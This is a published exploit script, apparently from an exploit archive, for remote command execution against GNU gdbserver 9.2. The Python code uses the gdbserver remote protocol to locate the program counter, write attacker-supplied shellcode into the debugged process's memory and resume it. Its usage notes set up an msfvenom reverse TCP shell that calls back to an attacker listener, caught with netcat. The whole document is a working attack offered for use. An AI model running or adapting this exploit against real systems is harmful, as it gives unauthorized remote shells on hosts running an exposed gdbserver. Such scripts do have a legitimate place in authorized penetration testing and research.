GNU gdbserver 9.2 Remote Command Execution

`# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)  
# Date: 2021-11-21  
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)  
# Vendor Homepage: https://www.gnu.org/software/gdb/  
# Software Link: https://www.gnu.org/software/gdb/download/  
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2  
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)  
  
#!/usr/bin/env python3  
  
  
import binascii  
import socket  
import struct  
import sys  
  
help = f'''  
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>  
  
Example:  
- Victim's gdbserver -> 10.10.10.200:1337  
- Attacker's listener -> 10.10.10.100:4444  
  
1. Generate shellcode with msfvenom:  
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin  
  
2. Listen with Netcat:  
$ nc -nlvp 4444  
  
3. Run the exploit:  
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin  
'''  
  
  
def checksum(s: str) -> str:  
res = sum(map(ord, s)) % 256  
return f'{res:2x}'  
  
  
def ack(sock):  
sock.send(b'+')  
  
  
def send(sock, s: str) -> str:  
sock.send(f'${s}#{checksum(s)}'.encode())  
res = sock.recv(1024)  
ack(sock)  
return res.decode()  
  
  
def exploit(sock, payload: str):  
send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')  
send(sock, '!')  
  
try:  
res = send(sock, 'vCont;s')  
data = res.split(';')[2]  
arch, pc = data.split(':')  
except Exception:  
print('[!] ERROR: Unexpected response. Try again later')  
exit(1)  
  
if arch == '10':  
print('[+] Found x64 arch')  
pc = binascii.unhexlify(pc[:pc.index('0*')])  
pc += b'\0' * (8 - len(pc))  
addr = hex(struct.unpack('<Q', pc)[0])[2:]  
addr = '0' * (16 - len(addr)) + addr  
elif arch == '08':  
print('[+] Found x86 arch')  
pc = binascii.unhexlify(pc)  
pc += b'\0' * (4 - len(pc))  
addr = hex(struct.unpack('<I', pc)[0])[2:]  
addr = '0' * (8 - len(addr)) + addr  
  
hex_length = hex(len(payload))[2:]  
  
print('[+] Sending payload')  
send(sock, f'M{addr},{hex_length}:{payload}')  
send(sock, 'vCont;c')  
  
  
def main():  
if len(sys.argv) < 3:  
print(help)  
exit(1)  
  
ip, port = sys.argv[1].split(':')  
file = sys.argv[2]  
  
try:  
with open(file, 'rb') as f:  
payload = f.read().hex()  
except FileNotFoundError:  
print(f'[!] ERROR: File {file} not found')  
exit(1)  
  
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:  
sock.connect((ip, int(port)))  
print('[+] Connected to target. Preparing exploit')  
exploit(sock, payload)  
print('[*] Pwned!! Check your listener')  
  
  
if __name__ == '__main__':  
main()  
  
`